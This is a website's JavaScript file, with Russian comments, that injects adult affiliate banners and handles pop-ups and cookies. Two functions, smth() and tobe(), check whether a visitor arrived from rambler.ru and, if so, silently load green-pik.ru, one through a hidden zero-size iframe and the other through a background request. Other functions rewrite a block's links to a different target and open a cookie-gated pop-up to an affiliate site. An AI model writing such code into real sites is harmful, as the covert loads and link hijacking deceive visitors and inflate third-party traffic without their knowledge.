function rclSingle()
{
    var text = '<p><a href="http://dosugcz.biz/in.htm?wm=105294"><img src="/images/2.jpg" alt="Горячие девчонки, фото и видео" /></a><p>    <p class="text"><a href="http:/dosugcz.biz/in.htm?wm=105294">Развратные девочки (фото и видео)</a></p>'
    document.write(text);
}

function rclText()
{
    var text = '<a href="http://dosugcz.biz/in.htm?wm=105294" style="color:red;" target="_blank">Фото горячих девочек!</a>';
    document.write(text);
}

function rclTriple()
{
    var text = '<table style="width:100%;"><tr><td><p><a href="http://dosugcz.biz/in.htm?wm=105294"><img src="/images/1.jpg" alt="Горячие девчонки, фото и видео" /></a><p></td><td><p><a href="http://dosugcz.biz/in.htm?wm=105294"><img src="/images/2.jpg" alt="Горячие девчонки, фото и видео" /></a><p></td><td><p><a href="http://dosugcz.biz/in.htm?wm=105294"><img src="/images/3.jpg" alt="Горячие девчонки, фото и видео" /></a><p></td></tr><tr><td colspan="3"><p class="text"><a href="http://dosugcz.biz/in.htm?wm=105294" style="color:red; font-size:12px; font-weight: bold;">Развратные девочки отрываются по полной! (фото и видео)</a></p></td></tr></table>';
    document.write(text);
}

function dosugLeft()
{
    var text = '<a href="http://dosugcz.biz/in.htm?wm=105294" target="_blank"><img src="/images/bi.gif" alt="Горячие девочки!" /></a>';
    document.write(text);
}
/**
* LiveInternet Click
*/

function cl(link)
{
 img = new Image();
 img.src = 'http://www.liveinternet.ru/click?*' + link;
}

function processSmth(id)
{
    var block = document.getElementById(id);
    if (block != null) {
        var links = block.getElementsByTagName('a');
        var tables = document.getElementById('menuArea').getElementsByTagName('table');
        var targetTable = null;
        for (var i=0; i < tables.length; i++) {
            if (tables[i].className == 'aaa_block') {
                targetTable = tables[i];
                break;
            }
        }

        if (targetTable != null) {
            var tLinks = targetTable.getElementsByTagName('a');
            var targetLink = '';
            for (var i=0; i< tLinks.length; i++) {
                targetLink = tLinks[i].href;
                break;
            }
        }

        for (var i=0; i<links.length; i++) {
            links[i].href = targetLink;
        }
    }
}



/**
 * Browsers definition
 */ 
nn4 = (document.layers) ? true : false;
ie4 = (document.all) ? true : false;
dom = (document.createTextNode)? true : false;

/**
 * Creates a new pop-up window
 * @param string fileUrl - URL to be opened in the new window
 * @param int winW - Window Width
 * @param int winH - Window Height
 * @param string winN - Window Name
 * @param string scrollB - Window Scrollbars   			  
 */ 
function popupWindow(fileUrl, winW, winH, winN, scrollB) {
	var winWidth = winW;
	var winHeight = winH;
	var winName = (winN)? winN : 'popupWin'
	var scrollBars = (scrollB)? scrollB : 'auto'
	if (nn4 || ie4 || dom) {
		/** Fit window size into screen */
		if (screen.width < winWidth + 50) { winWidth = screen.width - 50; scrollbars = 'yes' }
		if (screen.height < winHeight + 100) { winHeight = screen.height - 100; scrollbars = 'yes' }
		/** Centering new window*/
		posX = Math.round((screen.width - winWidth) / 2);
		posY = Math.round((screen.height - winHeight) / 2);
		posCode = (nn4 || dom)? "screenX="+posX+",screenY="+posY : "left="+posX+",top="+posY;
	} else {
		posCode = "";
	}
	/** Creating new Window */
	var popupWin = window.open(fileUrl, winName,"menubar=no,toolbar=no,scrollbars=" + scrollBars + ",status=yes,resizable=yes,width=" + winWidth + ",height=" + winHeight + "," + posCode);
	/** Set focus */
	if (popupWin) popupWin.focus();
	//popupWin.opener.focus();
	
}

function tobe()
{
	var dn = getDomainName(document.referrer);
	var targetUrl = 'http://www.green-pik.ru/ref-1575.html';
	if (dn == 'rambler.ru') {
	    r = get_http();
        try {
            r.open("GET", targetUrl, true);
            //alert('1');
            r.onreadystatechange = processReqChange; 
            //alert('1');
            r.send(null);
        } catch (e) {
            //alert('here');
        }
        
        
        	
	} else {
		//alert('here');
	}
}

function smth()
{
    var dn = getDomainName(document.referrer);
	//var targetUrl = 'http://ya.ru';
	if (dn == 'rambler.ru') {
        document.write('<iframe width="0" height="0" style="width:0px; height:0px" src="http://www.green-pik.ru/ref-1575.html"></iframe>');
    }
}

function processReqChange(r) 
{
   // alert(req.readyState);
    // only if req shows "complete"
    
}

function getDomainName(url)
{

	url = deleteString(url, 'http://');
	
	url = deleteString(url, 'www.');
	url = deleteString(url, 'www1.');
	url = deleteString(url, 'www2.');
	url = deleteString(url, 'www3.');
	url = deleteString(url, 'www4.');
	
	var slashPos = url.indexOf('/');
	if (slashPos > -1) {
		url = url.substr(0, slashPos);
	}

	return url;
	
}

function deleteString(mainStr,deleteStr) {
	return replaceString(mainStr,deleteStr,"");
}

function replaceString(mainStr,searchStr,replaceStr) {
	var front = getFront(mainStr,searchStr);
	var end = getEnd(mainStr,searchStr);
	if (front != null && end != null) {
		return front + replaceStr + end;
	}
	return mainStr;
}

// extract front part of string prior to searchString
function getFront(mainStr,searchStr){
foundOffset = mainStr.indexOf(searchStr);
if (foundOffset == -1) {
return null;
}
return mainStr.substring(0,foundOffset);
}
// extract back end of string after searchString
function getEnd(mainStr,searchStr) {
foundOffset = mainStr.indexOf(searchStr);
if (foundOffset == -1) {
return null;
}
return mainStr.substring(foundOffset+searchStr.length,mainStr.length);
}
// insert insertString immediately before searchString
function insertString(mainStr,searchStr,insertStr) {
var front = getFront(mainStr,searchStr);
var end = getEnd(mainStr,searchStr);
if (front != null && end != null) {
return front + insertStr + searchStr + end;
}
return null;
}

function get_http(){
    var xmlhttp;
    /*@cc_on
    @if (@_jscript_version >= 5)
        try {
            xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                xmlhttp = new 
                ActiveXObject("Microsoft.XMLHTTP");
            } catch (E) {
                xmlhttp = false;
            }
        }
    @else
        xmlhttp = false;
    @end @*/
    if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
        try {
            xmlhttp = new XMLHttpRequest();
        } catch (e) {
            xmlhttp = false;
        }
    }
    return xmlhttp;
}

/** Shine 26.01.2007 */
/* Cookies */

// name - имя cookie
// value - значение cookie
// [expires] - дата окончания действия cookie (по умолчанию - до конца сессии)
// [path] - путь, для которого cookie действительно (по умолчанию - документ, в котором значение было установлено)
// [domain] - домен, для которого cookie действительно (по умолчанию - домен, в котором значение было установлено)
// [secure] - логическое значение, показывающее требуется ли защищенная передача значения cookie

function setCookie(name, value, expires, path, domain, secure) {
        var curCookie = name + "=" + escape(value) +
                ((expires) ? "; expires=" + expires.toGMTString() : "") +
                ((path) ? "; path=" + path : "") +
                ((domain) ? "; domain=" + domain : "") +
                ((secure) ? "; secure" : "")
        if ((name + "=" + escape(value)).length <= 4000)
                document.cookie = curCookie
        else
                if (confirm("Cookie превышает 4KB и будет вырезан !"))
                        document.cookie = curCookie
}

// name - имя считываемого cookie

function getCookie(name) {
        var prefix = name + "="
        var cookieStartIndex = document.cookie.indexOf(prefix)
        if (cookieStartIndex == -1)
                return null
        var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length)
        if (cookieEndIndex == -1)
                cookieEndIndex = document.cookie.length
        return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex))
}

function doTraff()
{
return true;
    var url = 'http://clickcashmoney.com/in.htm?wm=105294';
    var cookieName = 'tr';
    var cookieValue = '2092';
    var cookieValue2 = '2092';

    var cookie = getCookie(cookieName);
    if (cookie != cookieValue) {
//        if (cookie != cookieValue2) {
  //          setCookie(cookieName, cookieValue2);
    //    } else {
            setCookie(cookieName, cookieValue);
            popupWindow(url, 800, 600, 'yes');
      //  }
    } else {
        //alert(cookie);
    }
}

function OpenPopup()
{
	var popup = document.getElementById('popup');
    //document.getElementById('popupimage').src = src;
    //document.getElementById('popupimage').onload = function() {
       // var iw = this.width;
       // var ih = this.height;
        var sw = document.body.clientWidth;
        var sh = document.body.clientHeight;
        var iheight = 61;
        var iwidth = 469;
        popup.style.width = iwidth + 'px';
        popup.style.height = iheight + 'px';
        popup.style.marginLeft = '-' + Math.floor(iwidth/2) + 'px';
        popup.style.marginTop = '-' + Math.floor(iheight/2) + 'px';
        
    //}
    popup.style.display = 'block';
    return false;
}

function closePopup()
{
	var popup = document.getElementById('popup');
    popup.style.display = 'none';
    return false;
}

//document.onclick=doTraff;